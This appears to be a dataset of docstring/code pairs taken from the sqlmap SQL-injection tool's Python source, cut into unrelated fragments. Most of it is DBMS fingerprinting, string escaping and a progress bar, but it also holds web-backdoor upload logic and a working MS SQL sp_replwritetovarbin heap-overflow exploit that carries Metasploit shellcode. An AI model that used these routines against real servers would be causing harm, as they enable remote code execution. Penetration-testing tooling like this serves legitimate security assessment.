warnMsg += 'but not dynamically interpreted'
logger.warn(warnMsg)
continue
elif (self.webApi == WEB_API.ASPX):
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
infoMsg = 'the file stager has been successfully uploaded '
infoMsg += ("on '%s' - %s" % (directory, self.webStagerUrl))
logger.info(infoMsg)
if (self.webApi == WEB_API.ASP):
match = re.search('input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
_ = ('tmpe%s.exe' % randomStr(lowercase=True))
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace('WRITABLE_DIR', backdoorDirectory).replace('RUNCMD_EXE', _)):
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, 'runcmd', 'runcmd.exe_'))
self.webBackdoorUrl = ('%s/Scripts/%s' % (self.webBaseUrl, backdoorName))
self.webDirectory = backdoorDirectory
else:
continue
else:
if (not self.webUpload(backdoorName, (posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory), content=backdoorContent)):
warnMsg = 'backdoor has not been successfully uploaded '
warnMsg += 'through the file stager possibly because '
warnMsg += 'the user running the web server process '
warnMsg += 'has not write privileges over the folder '
warnMsg += 'where the user running the DBMS process '
warnMsg += 'was able to upload the file stager or '
warnMsg += 'because the DBMS and web server sit on '
warnMsg += 'different servers'
logger.warn(warnMsg)
message = 'do you want to try the same method used '
message += 'for the file stager? [Y/n] '
if readInput(message, default='Y', boolean=True):
self._webFileInject(backdoorContent, backdoorName, directory)
else:
continue
self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName)
self.webDirectory = directory
self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)
testStr = 'command execution test'
output = self.webBackdoorRunCmd(('echo %s' % testStr))
if (output == '0'):
warnMsg = 'the backdoor has been uploaded but required privileges '
warnMsg += 'for running the system commands are missing'
raise SqlmapNoneDataException(warnMsg)
elif (output and (testStr in output)):
infoMsg = 'the backdoor has been successfully '
else:
infoMsg = 'the backdoor has probably been successfully '
infoMsg += ("uploaded on '%s' - " % self.webDirectory)
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
break
|
'This method updates the progress bar'
| def update(self, newAmount=0):
| if (newAmount < self._min):
newAmount = self._min
elif (newAmount > self._max):
newAmount = self._max
self._amount = newAmount
diffFromMin = float((self._amount - self._min))
percentDone = ((diffFromMin / float(self._span)) * 100.0)
percentDone = round(percentDone)
percentDone = min(100, int(percentDone))
allFull = (self._width - len(('100%% [] %s/%s ETA 00:00' % (self._max, self._max))))
numHashes = ((percentDone / 100.0) * allFull)
numHashes = int(round(numHashes))
if (numHashes == 0):
self._progBar = ('[>%s]' % (' ' * (allFull - 1)))
elif (numHashes == allFull):
self._progBar = ('[%s]' % ('=' * allFull))
else:
self._progBar = ('[%s>%s]' % (('=' * (numHashes - 1)), (' ' * (allFull - numHashes))))
percentString = (getUnicode(percentDone) + '%')
self._progBar = ('%s %s' % (percentString, self._progBar))
|
'This method saves item delta time and shows updated progress bar with calculated eta'
| def progress(self, deltaTime, newAmount):
| if ((len(self._times) <= ((self._max * 3) / 100)) or (newAmount > self._max)):
eta = None
else:
midTime = (sum(self._times) / len(self._times))
midTimeWithLatest = ((midTime + deltaTime) / 2)
eta = (midTimeWithLatest * (self._max - newAmount))
self._times.append(deltaTime)
self.update(newAmount)
self.draw(eta)
|
'This method draws the progress bar if it has changed'
| def draw(self, eta=None):
| if (self._progBar != self._oldProgBar):
self._oldProgBar = self._progBar
dataToStdout(('\r%s %d/%d%s' % (self._progBar, self._amount, self._max, ((' ETA %s' % self._convertSeconds(int(eta))) if (eta is not None) else ''))))
if (self._amount >= self._max):
if (not conf.liveTest):
dataToStdout(('\r%s\r' % (' ' * self._width)))
kb.prependFlag = False
else:
dataToStdout('\n')
|
'This method returns the progress bar string'
| def __str__(self):
| return getUnicode(self._progBar)
|
'Record emitted events to IPC database for asynchronous I/O
communication with the parent process'
| def emit(self, record):
| conf.databaseCursor.execute('INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)', (conf.taskid, time.strftime('%X'), record.levelname, ((record.msg % record.args) if record.args else record.msg)))
|
'>>> Syntax.escape("SELECT \'abcdefgh\' FROM foobar")
\'SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar\''
| @staticmethod
def escape(expression, quote=True):
| def escaper(value):
return '||'.join((('%s(%d)' % (('CHR' if (ord(value[i]) < 256) else 'NCHR'), ord(value[i]))) for i in xrange(len(value))))
return Syntax._escape(expression, quote, escaper)
|
'>>> Syntax.escape("SELECT \'abcdefgh\' FROM foobar")
"SELECT \'abcdefgh\' FROM foobar"'
| @staticmethod
def escape(expression, quote=True):
| return expression
|
'>>> Syntax.escape("SELECT \'abcdefgh\' FROM foobar")
\'SELECT CHAR(97)+CHAR(98)+CHAR(99)+CHAR(100)+CHAR(101)+CHAR(102)+CHAR(103)+CHAR(104) FROM foobar\''
| @staticmethod
def escape(expression, quote=True):
| def escaper(value):
return '+'.join((('%s(%d)' % (('CHAR' if (ord(value[i]) < 256) else 'TO_UNICHAR'), ord(value[i]))) for i in xrange(len(value))))
return Syntax._escape(expression, quote, escaper)
|
'>>> Syntax.escape("SELECT \'abcdefgh\' FROM foobar")
\'SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar\''
| @staticmethod
def escape(expression, quote=True):
| def escaper(value):
return '||'.join((('CHR(%d)' % ord(_)) for _ in value))
excluded = {}
for _ in re.findall('DBINFO\\([^)]+\\)', expression):
excluded[_] = randomStr()
expression = expression.replace(_, excluded[_])
retVal = Syntax._escape(expression, quote, escaper)
for _ in excluded.items():
retVal = retVal.replace(_[1], _[0])
return retVal
|
'References for fingerprint:
DATABASE_VERSION()
version 2.2.6 added two-arg REPLACE functio REPLACE(\'a\',\'a\') compared to REPLACE(\'a\',\'a\',\'d\')
version 2.2.5 added SYSTIMESTAMP function
version 2.2.3 added REGEXPR_SUBSTRING and REGEXPR_SUBSTRING_ARRAY functions
version 2.2.0 added support for ROWNUM() function
version 2.1.0 added MEDIAN aggregate function
version < 2.0.1 added support for datetime ROUND and TRUNC functions
version 2.0.0 added VALUES support
version 1.8.0.4 Added org.hsqldbdb.Library function, getDatabaseFullProductVersion to return the
full version string, including the 4th digit (e.g 1.8.0.4).
version 1.7.2 CASE statements added and INFORMATION_SCHEMA'
| def checkDbms(self):
| if ((not conf.extensiveFp) and Backend.isDbmsWithin(HSQLDB_ALIASES)):
setDbms(('%s %s' % (DBMS.HSQLDB, Backend.getVersion())))
if Backend.isVersionGreaterOrEqualThan('1.7.2'):
kb.data.has_information_schema = True
self.getBanner()
return True
infoMsg = ('testing %s' % DBMS.HSQLDB)
logger.info(infoMsg)
result = inject.checkBooleanExpression('CASEWHEN(1=1,1,0)=1')
if result:
infoMsg = ('confirming %s' % DBMS.HSQLDB)
logger.info(infoMsg)
result = inject.checkBooleanExpression('ROUNDMAGIC(PI())>=3')
if (not result):
warnMsg = ('the back-end DBMS is not %s' % DBMS.HSQLDB)
logger.warn(warnMsg)
return False
else:
kb.data.has_information_schema = True
Backend.setVersion('>= 1.7.2')
setDbms(('%s 1.7.2' % DBMS.HSQLDB))
banner = self.getBanner()
if banner:
Backend.setVersion(('= %s' % banner))
elif inject.checkBooleanExpression('(SELECT [RANDNUM] FROM (VALUES(0)))=[RANDNUM]'):
Backend.setVersionList(['>= 2.0.0', '< 2.3.0'])
else:
banner = unArrayizeValue(inject.getValue('"org.hsqldbdb.Library.getDatabaseFullProductVersion"()', safeCharEncode=True))
if banner:
Backend.setVersion(('= %s' % banner))
else:
Backend.setVersionList(['>= 1.7.2', '< 1.8.0'])
return True
else:
warnMsg = ('the back-end DBMS is not %s or version is < 1.7.2' % DBMS.HSQLDB)
logger.warn(warnMsg)
return False
|
'>>> Syntax.escape("SELECT \'abcdefgh\' FROM foobar")
\'SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar\''
| @staticmethod
def escape(expression, quote=True):
| def escaper(value):
return '||'.join((('CHAR(%d)' % ord(value[i])) for i in xrange(len(value))))
return Syntax._escape(expression, quote, escaper)
|
'References for fingerprint:
* http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html (up to 5.0.89)
* http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html (up to 5.1.42)
* http://dev.mysql.com/doc/refman/5.4/en/news-5-4-x.html (up to 5.4.4)
* http://dev.mysql.com/doc/refman/5.5/en/news-5-5-x.html (up to 5.5.0)
* http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn)'
| def checkDbms(self):
| if ((not conf.extensiveFp) and Backend.isDbmsWithin(MYSQL_ALIASES)):
setDbms(('%s %s' % (DBMS.MYSQL, Backend.getVersion())))
if Backend.isVersionGreaterOrEqualThan('5'):
kb.data.has_information_schema = True
self.getBanner()
return True
infoMsg = ('testing %s' % DBMS.MYSQL)
logger.info(infoMsg)
result = inject.checkBooleanExpression('QUARTER(NULL) IS NULL')
if result:
infoMsg = ('confirming %s' % DBMS.MYSQL)
logger.info(infoMsg)
result = inject.checkBooleanExpression('SESSION_USER() LIKE USER()')
if (not result):
warnMsg = ('the back-end DBMS is not %s' % DBMS.MYSQL)
logger.warn(warnMsg)
return False
if (hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) is None):
hashDBWrite(HASHDB_KEYS.DBMS_FORK, ((inject.checkBooleanExpression("VERSION() LIKE '%MariaDB%'") and 'MariaDB') or ''))
if inject.checkBooleanExpression('ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],NULL))'):
kb.data.has_information_schema = True
Backend.setVersion('>= 5.0.0')
setDbms(('%s 5' % DBMS.MYSQL))
self.getBanner()
if (not conf.extensiveFp):
return True
infoMsg = ('actively fingerprinting %s' % DBMS.MYSQL)
logger.info(infoMsg)
if inject.checkBooleanExpression('TO_SECONDS(950501)>0'):
Backend.setVersion('>= 5.5.0')
elif inject.checkBooleanExpression('@@table_open_cache=@@table_open_cache'):
if inject.checkBooleanExpression('[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.GLOBAL_STATUS LIMIT 0, 1)'):
Backend.setVersionList(['>= 5.1.12', '< 5.5.0'])
elif inject.checkBooleanExpression('[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PROCESSLIST LIMIT 0, 1)'):
Backend.setVersionList(['>= 5.1.7', '< 5.1.12'])
elif inject.checkBooleanExpression('[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PARTITIONS LIMIT 0, 1)'):
Backend.setVersion('= 5.1.6')
elif inject.checkBooleanExpression('[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PLUGINS LIMIT 0, 1)'):
Backend.setVersionList(['>= 5.1.5', '< 5.1.6'])
else:
Backend.setVersionList(['>= 5.1.2', '< 5.1.5'])
elif inject.checkBooleanExpression('@@hostname=@@hostname'):
Backend.setVersionList(['>= 5.0.38', '< 5.1.2'])
elif inject.checkBooleanExpression('@@character_set_filesystem=@@character_set_filesystem'):
Backend.setVersionList(['>= 5.0.19', '< 5.0.38'])
elif (not inject.checkBooleanExpression('[RANDNUM]=(SELECT [RANDNUM] FROM DUAL WHERE [RANDNUM1]!=[RANDNUM2])')):
Backend.setVersionList(['>= 5.0.11', '< 5.0.19'])
elif inject.checkBooleanExpression('@@div_precision_increment=@@div_precision_increment'):
Backend.setVersionList(['>= 5.0.6', '< 5.0.11'])
elif inject.checkBooleanExpression('@@automatic_sp_privileges=@@automatic_sp_privileges'):
Backend.setVersionList(['>= 5.0.3', '< 5.0.6'])
else:
Backend.setVersionList(['>= 5.0.0', '< 5.0.3'])
elif inject.checkBooleanExpression('DATABASE() LIKE SCHEMA()'):
Backend.setVersion('>= 5.0.2')
setDbms(('%s 5' % DBMS.MYSQL))
self.getBanner()
elif inject.checkBooleanExpression('STRCMP(LOWER(CURRENT_USER()), UPPER(CURRENT_USER()))=0'):
Backend.setVersion('< 5.0.0')
setDbms(('%s 4' % DBMS.MYSQL))
self.getBanner()
if (not conf.extensiveFp):
return True
if inject.checkBooleanExpression('3=(SELECT COERCIBILITY(USER()))'):
Backend.setVersionList(['>= 4.1.11', '< 5.0.0'])
elif inject.checkBooleanExpression('2=(SELECT COERCIBILITY(USER()))'):
Backend.setVersionList(['>= 4.1.1', '< 4.1.11'])
elif inject.checkBooleanExpression('CURRENT_USER()=CURRENT_USER()'):
Backend.setVersionList(['>= 4.0.6', '< 4.1.1'])
if inject.checkBooleanExpression("'utf8'=(SELECT CHARSET(CURRENT_USER()))"):
Backend.setVersion('= 4.1.0')
else:
Backend.setVersionList(['>= 4.0.6', '< 4.1.0'])
else:
Backend.setVersionList(['>= 4.0.0', '< 4.0.6'])
else:
Backend.setVersion('< 4.0.0')
setDbms(('%s 3' % DBMS.MYSQL))
self.getBanner()
return True
else:
warnMsg = ('the back-end DBMS is not %s' % DBMS.MYSQL)
logger.warn(warnMsg)
return False
|
'>>> Syntax.escape("SELECT \'abcdefgh\' FROM foobar")
\'SELECT 0x6162636465666768 FROM foobar\''
| @staticmethod
def escape(expression, quote=True):
| def escaper(value):
retVal = None
try:
retVal = ('0x%s' % binascii.hexlify(value))
except UnicodeEncodeError:
retVal = ('CONVERT(0x%s USING utf8)' % ''.join((('%.2x' % ord(_)) for _ in utf8encode(value))))
return retVal
return Syntax._escape(expression, quote, escaper)
|
'References for fingerprint:
* http://www.sqlite.org/lang_corefunc.html
* http://www.sqlite.org/cvstrac/wiki?p=LoadableExtensions'
| def checkDbms(self):
| if ((not conf.extensiveFp) and Backend.isDbmsWithin(SQLITE_ALIASES)):
setDbms(DBMS.SQLITE)
self.getBanner()
return True
infoMsg = ('testing %s' % DBMS.SQLITE)
logger.info(infoMsg)
result = inject.checkBooleanExpression('LAST_INSERT_ROWID()=LAST_INSERT_ROWID()')
if result:
infoMsg = ('confirming %s' % DBMS.SQLITE)
logger.info(infoMsg)
result = inject.checkBooleanExpression('SQLITE_VERSION()=SQLITE_VERSION()')
if (not result):
warnMsg = ('the back-end DBMS is not %s' % DBMS.SQLITE)
logger.warn(warnMsg)
return False
else:
infoMsg = ('actively fingerprinting %s' % DBMS.SQLITE)
logger.info(infoMsg)
result = inject.checkBooleanExpression('RANDOMBLOB(-1)>0')
version = ('3' if result else '2')
Backend.setVersion(version)
setDbms(DBMS.SQLITE)
self.getBanner()
return True
else:
warnMsg = ('the back-end DBMS is not %s' % DBMS.SQLITE)
logger.warn(warnMsg)
return False
|
'>>> from lib.core.common import Backend
>>> Backend.setVersion(\'2\')
[\'2\']
>>> Syntax.escape("SELECT \'abcdefgh\' FROM foobar")
"SELECT \'abcdefgh\' FROM foobar"
>>> Backend.setVersion(\'3\')
[\'3\']
>>> Syntax.escape("SELECT \'abcdefgh\' FROM foobar")
"SELECT CAST(X\'6162636465666768\' AS TEXT) FROM foobar"'
| @staticmethod
def escape(expression, quote=True):
| def escaper(value):
return ("CAST(X'%s' AS TEXT)" % binascii.hexlify((value.encode(UNICODE_ENCODING) if isinstance(value, unicode) else value)))
retVal = expression
if isDBMSVersionAtLeast('3'):
retVal = Syntax._escape(expression, quote, escaper)
return retVal
|
'References for fingerprint:
* http://www.postgresql.org/docs/9.1/interactive/release.html (up to 9.1.3)'
| def checkDbms(self):
| if ((not conf.extensiveFp) and Backend.isDbmsWithin(PGSQL_ALIASES)):
setDbms(DBMS.PGSQL)
self.getBanner()
return True
infoMsg = ('testing %s' % DBMS.PGSQL)
logger.info(infoMsg)
result = inject.checkBooleanExpression('[RANDNUM]::int=[RANDNUM]')
if result:
infoMsg = ('confirming %s' % DBMS.PGSQL)
logger.info(infoMsg)
result = inject.checkBooleanExpression('COALESCE([RANDNUM], NULL)=[RANDNUM]')
if (not result):
warnMsg = ('the back-end DBMS is not %s' % DBMS.PGSQL)
logger.warn(warnMsg)
return False
setDbms(DBMS.PGSQL)
self.getBanner()
if (not conf.extensiveFp):
return True
infoMsg = ('actively fingerprinting %s' % DBMS.PGSQL)
logger.info(infoMsg)
if inject.checkBooleanExpression('TO_JSONB(1) IS NOT NULL'):
Backend.setVersion('>= 9.5.0')
elif inject.checkBooleanExpression('JSON_TYPEOF(NULL) IS NULL'):
Backend.setVersionList(['>= 9.4.0', '< 9.5.0'])
elif inject.checkBooleanExpression('ARRAY_REPLACE(NULL,1,1) IS NULL'):
Backend.setVersionList(['>= 9.3.0', '< 9.4.0'])
elif inject.checkBooleanExpression('ROW_TO_JSON(NULL) IS NULL'):
Backend.setVersionList(['>= 9.2.0', '< 9.3.0'])
elif inject.checkBooleanExpression("REVERSE('sqlmap')='pamlqs'"):
Backend.setVersionList(['>= 9.1.0', '< 9.2.0'])
elif inject.checkBooleanExpression("LENGTH(TO_CHAR(1,'EEEE'))>0"):
Backend.setVersionList(['>= 9.0.0', '< 9.1.0'])
elif inject.checkBooleanExpression('2=(SELECT DIV(6,3))'):
Backend.setVersionList(['>= 8.4.0', '< 9.0.0'])
elif inject.checkBooleanExpression('EXTRACT(ISODOW FROM CURRENT_TIMESTAMP)<8'):
Backend.setVersionList(['>= 8.3.0', '< 8.4.0'])
elif inject.checkBooleanExpression('ISFINITE(TRANSACTION_TIMESTAMP())'):
Backend.setVersionList(['>= 8.2.0', '< 8.3.0'])
elif inject.checkBooleanExpression('9=(SELECT GREATEST(5,9,1))'):
Backend.setVersionList(['>= 8.1.0', '< 8.2.0'])
elif inject.checkBooleanExpression('3=(SELECT WIDTH_BUCKET(5.35,0.024,10.06,5))'):
Backend.setVersionList(['>= 8.0.0', '< 8.1.0'])
elif inject.checkBooleanExpression("'d'=(SELECT SUBSTR(MD5('sqlmap'),1,1))"):
Backend.setVersionList(['>= 7.4.0', '< 8.0.0'])
elif inject.checkBooleanExpression("'p'=(SELECT SUBSTR(CURRENT_SCHEMA(),1,1))"):
Backend.setVersionList(['>= 7.3.0', '< 7.4.0'])
elif inject.checkBooleanExpression('8=(SELECT BIT_LENGTH(1))'):
Backend.setVersionList(['>= 7.2.0', '< 7.3.0'])
elif inject.checkBooleanExpression("'a'=(SELECT SUBSTR(QUOTE_LITERAL('a'),2,1))"):
Backend.setVersionList(['>= 7.1.0', '< 7.2.0'])
elif inject.checkBooleanExpression('8=(SELECT POW(2,3))'):
Backend.setVersionList(['>= 7.0.0', '< 7.1.0'])
elif inject.checkBooleanExpression("'a'=(SELECT MAX('a'))"):
Backend.setVersionList(['>= 6.5.0', '< 6.5.3'])
elif inject.checkBooleanExpression('VERSION()=VERSION()'):
Backend.setVersionList(['>= 6.4.0', '< 6.5.0'])
elif inject.checkBooleanExpression('2=(SELECT SUBSTR(CURRENT_DATE,1,1))'):
Backend.setVersionList(['>= 6.3.0', '< 6.4.0'])
elif inject.checkBooleanExpression("'s'=(SELECT SUBSTRING('sqlmap',1,1))"):
Backend.setVersionList(['>= 6.2.0', '< 6.3.0'])
else:
Backend.setVersion('< 6.2.0')
return True
else:
warnMsg = ('the back-end DBMS is not %s' % DBMS.PGSQL)
logger.warn(warnMsg)
return False
|
'Note: PostgreSQL has a general problem with concenation operator (||) precedence (hence the parentheses enclosing)
e.g. SELECT 1 WHERE \'a\'!=\'a\'||\'b\' will trigger error ("argument of WHERE must be type boolean, not type text")
>>> Syntax.escape("SELECT \'abcdefgh\' FROM foobar")
\'SELECT (CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104)) FROM foobar\''
| @staticmethod
def escape(expression, quote=True):
| def escaper(value):
return ('(%s)' % '||'.join((('CHR(%d)' % ord(_)) for _ in value)))
return Syntax._escape(expression, quote, escaper)
|
'>>> Syntax.escape("SELECT \'abcdefgh\' FROM foobar")
\'SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar\''
| @staticmethod
def escape(expression, quote=True):
| def escaper(value):
return '||'.join((('CHR(%d)' % ord(_)) for _ in value))
return Syntax._escape(expression, quote, escaper)
|
'>>> from lib.core.common import Backend
>>> Backend.setVersion(\'2.0\')
[\'2.0\']
>>> Syntax.escape("SELECT \'abcdefgh\' FROM foobar")
"SELECT \'abcdefgh\' FROM foobar"
>>> Backend.setVersion(\'2.1\')
[\'2.1\']
>>> Syntax.escape("SELECT \'abcdefgh\' FROM foobar")
\'SELECT ASCII_CHAR(97)||ASCII_CHAR(98)||ASCII_CHAR(99)||ASCII_CHAR(100)||ASCII_CHAR(101)||ASCII_CHAR(102)||ASCII_CHAR(103)||ASCII_CHAR(104) FROM foobar\''
| @staticmethod
def escape(expression, quote=True):
| def escaper(value):
return '||'.join((('ASCII_CHAR(%d)' % ord(_)) for _ in value))
retVal = expression
if isDBMSVersionAtLeast('2.1'):
retVal = Syntax._escape(expression, quote, escaper)
return retVal
|
'References:
* http://www.microsoft.com/technet/security/bulletin/MS09-004.mspx
* http://support.microsoft.com/kb/959420'
| def spHeapOverflow(self):
| returns = {'2003-0': '', '2003-1': ('CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)', 'CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)', 'CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)', 'CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)', 'CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)', 'CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)', 'CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)', 'CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)'), '2003-2': ('CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)', 'CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)', 'CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)', 'CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)', 'CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)', 'CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)', 'CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)', 'CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)')}
addrs = None
for (versionSp, data) in returns.items():
(version, sp) = versionSp.split('-')
sp = int(sp)
if ((Backend.getOsVersion() == version) and (Backend.getOsServicePack() == sp)):
addrs = data
break
if (not addrs):
errMsg = 'sqlmap can not exploit the stored procedure buffer '
errMsg += 'overflow because it does not have a valid return '
errMsg += 'code for the underlying operating system (Windows '
errMsg += ('%s Service Pack %d)' % (Backend.getOsVersion(), Backend.getOsServicePack()))
raise SqlmapUnsupportedFeatureException(errMsg)
shellcodeChar = ''
hexStr = binascii.hexlify(self.shellcodeString[:(-1)])
for hexPair in xrange(0, len(hexStr), 2):
shellcodeChar += ('CHAR(0x%s)+' % hexStr[hexPair:(hexPair + 2)])
shellcodeChar = shellcodeChar[:(-1)]
self.spExploit = ("DECLARE @buf NVARCHAR(4000),\n @val NVARCHAR(4),\n @counter INT\n SET @buf = '\n DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int\n EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''\n SET @val = CHAR(0x41)\n SET @counter = 0\n WHILE @counter < 3320\n BEGIN\n SET @counter = @counter + 1\n IF @counter = 411\n BEGIN\n /* pointer to call [ecx+8] */\n SET @buf = @buf + %s\n\n /* push ebp, pop esp, ret 4 */\n SET @buf = @buf + %s\n\n /* push ecx, pop esp, pop ebp, retn 8 */\n SET @buf = @buf + %s\n\n /* Garbage */\n SET @buf = @buf + CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51)\n\n /* retn 1c */\n SET @buf = @buf + %s\n\n /* retn 1c */\n SET @buf = @buf + %s\n\n /* anti DEP */\n SET @buf = @buf + %s\n\n /* jmp esp */\n SET @buf = @buf + %s\n\n /* jmp esp */\n SET @buf = @buf + %s\n\n SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)\n SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)\n SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)\n SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)\n SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)\n SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)\n\n set @buf = @buf + CHAR(0x64)+CHAR(0x8B)+CHAR(0x25)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)\n set @buf = @buf + CHAR(0x8B)+CHAR(0xEC)\n set @buf = @buf + CHAR(0x83)+CHAR(0xEC)+CHAR(0x20)\n\n /* Metasploit shellcode */\n SET @buf = @buf + %s\n\n SET @buf = @buf + CHAR(0x6a)+CHAR(0x00)+char(0xc3)\n SET @counter = @counter + 302\n SET @val = CHAR(0x43)\n CONTINUE\n END\n SET @buf = @buf + @val\n END\n SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''\n EXEC master..sp_executesql @buf\n " % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar))
self.spExploit = self.spExploit.replace(' ', '').replace('\n', ' ')
logger.info('triggering the buffer overflow vulnerability, please wait..')
inject.goStacked(self.spExploit, silent=True)
|
'>>> Syntax.escape("SELECT \'abcdefgh\' FROM foobar")
\'SELECT CHAR(97)+CHAR(98)+CHAR(99)+CHAR(100)+CHAR(101)+CHAR(102)+CHAR(103)+CHAR(104) FROM foobar\''
| @staticmethod
def escape(expression, quote=True):
| def escaper(value):
return '+'.join((('%s(%d)' % (('CHAR' if (ord(value[i]) < 256) else 'NCHAR'), ord(value[i]))) for i in xrange(len(value))))
return Syntax._escape(expression, quote, escaper)
|
'Cleanup file system and database from sqlmap create files, tables
and functions'
| def cleanup(self, onlyFileTbl=False, udfDict=None, web=False):
| if (web and self.webBackdoorFilePath):
logger.info('cleaning up the web files uploaded')
self.delRemoteFile(self.webStagerFilePath)
self.delRemoteFile(self.webBackdoorFilePath)
if ((not isStackingAvailable()) and (not conf.direct)):
return
if Backend.isOs(OS.WINDOWS):
libtype = 'dynamic-link library'
elif Backend.isOs(OS.LINUX):
libtype = 'shared object'
else:
libtype = 'shared library'
if onlyFileTbl:
logger.debug('cleaning up the database management system')
else:
logger.info('cleaning up the database management system')
logger.debug('removing support tables')
inject.goStacked(('DROP TABLE %s' % self.fileTblName), silent=True)
inject.goStacked(('DROP TABLE %shex' % self.fileTblName), silent=True)
if (not onlyFileTbl):
inject.goStacked(('DROP TABLE %s' % self.cmdTblName), silent=True)
if Backend.isDbms(DBMS.MSSQL):
udfDict = {'master..new_xp_cmdshell': None}
if (udfDict is None):
udfDict = self.sysUdfs
for (udf, inpRet) in udfDict.items():
message = ("do you want to remove UDF '%s'? [Y/n] " % udf)
if readInput(message, default='Y', boolean=True):
dropStr = ('DROP FUNCTION %s' % udf)
if Backend.isDbms(DBMS.PGSQL):
inp = ', '.join((i for i in inpRet['input']))
dropStr += ('(%s)' % inp)
logger.debug(("removing UDF '%s'" % udf))
inject.goStacked(dropStr, silent=True)
logger.info('database management system cleanup finished')
warnMsg = ('remember that UDF %s files ' % libtype)
if conf.osPwn:
warnMsg += 'and Metasploit related files in the temporary '
warnMsg += 'folder '
warnMsg += 'saved on the file system can only be deleted '
warnMsg += 'manually'
logger.warn(warnMsg)
|
'Called by MySQL and PostgreSQL plugins to write a file on the
back-end DBMS underlying file system'
| def fileToSqlQueries(self, fcEncodedList):
| counter = 0
sqlQueries = []
for fcEncodedLine in fcEncodedList:
if (counter == 0):
sqlQueries.append(('INSERT INTO %s(%s) VALUES (%s)' % (self.fileTblName, self.tblField, fcEncodedLine)))
else:
updatedField = agent.simpleConcatenate(self.tblField, fcEncodedLine)
sqlQueries.append(('UPDATE %s SET %s=%s' % (self.fileTblName, self.tblField, updatedField)))
counter += 1
return sqlQueries
|
'Called by MySQL and PostgreSQL plugins to write a file on the
back-end DBMS underlying file system'
| def fileEncode(self, fileName, encoding, single, chunkSize=256):
| checkFile(fileName)
with open(fileName, 'rb') as f:
content = f.read()
return self.fileContentEncode(content, encoding, single, chunkSize)
|
'Cheap function to invert a hash.'
| def _invert(h):
| i = {}
for (k, v) in h.items():
i[v] = k
return i
|
'Sets up the initial relations between this element and
other elements.'
| def setup(self, parent=None, previous=None):
| self.parent = parent
self.previous = previous
self.next = None
self.previousSibling = None
self.nextSibling = None
if (self.parent and self.parent.contents):
self.previousSibling = self.parent.contents[(-1)]
self.previousSibling.nextSibling = self
|
'Destructively rips this element out of the tree.'
| def extract(self):
| if self.parent:
try:
del self.parent.contents[self.parent.index(self)]
except ValueError:
pass
lastChild = self._lastRecursiveChild()
nextElement = lastChild.next
if self.previous:
self.previous.next = nextElement
if nextElement:
nextElement.previous = self.previous
self.previous = None
lastChild.next = None
self.parent = None
